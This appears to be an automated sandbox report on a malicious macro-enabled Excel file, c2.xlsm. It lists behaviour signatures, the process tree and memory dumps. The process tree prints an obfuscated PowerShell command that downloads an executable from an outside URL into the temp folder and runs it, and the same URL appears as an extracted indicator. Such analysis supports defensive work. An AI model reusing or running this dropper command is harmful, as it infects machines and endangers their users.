Overview

overview

10

Static

static

c2.xlsm

windows7_x64

10

c2.xlsm

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    132s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    26/10/2020, 14:43

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General

  • Target
    c2.xlsm
  • Size 391KB
  • Sample201026-mdfz2c57hs
  • SHA256 da8b8f45b6446e84e539e1f6244d7b03dc822cf5649e0e8602f6e32cfc41597f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://u.teknik.io/2z9cN.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 9 IoCs
  • JavaScript code in executable 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c2.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3984
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell $vvVYXDCif='*.*-EX'.replace('*.*-','I'); sal WfXfjXElC $vvVYXDCif;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://u.teknik.io/2z9cN.txt'',$env:temp+''\''+''aLwcVkUDq.exe'')'|WfXfjXElC; start-process($env:temp+'\'+'aLwcVkUDq.exe')
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Users\Admin\AppData\Local\Temp\aLwcVkUDq.exe
      "C:\Users\Admin\AppData\Local\Temp\aLwcVkUDq.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Users\Admin\AppData\Local\Temp\aLwcVkUDq.exe
        "C:\Users\Admin\AppData\Local\Temp\aLwcVkUDq.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2312

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2436-7-0x00000185CD1A0000-0x00000185CD1A1000-memory.dmp
        Download

        memory/2436-6-0x00000185B4A90000-0x00000185B4A91000-memory.dmp
        Download

        memory/2436-5-0x00007FFC6A040000-0x00007FFC6AA2C000-memory.dmp
        Download

        memory/3984-0-0x00007FFC73280000-0x00007FFC738B7000-memory.dmp
        Download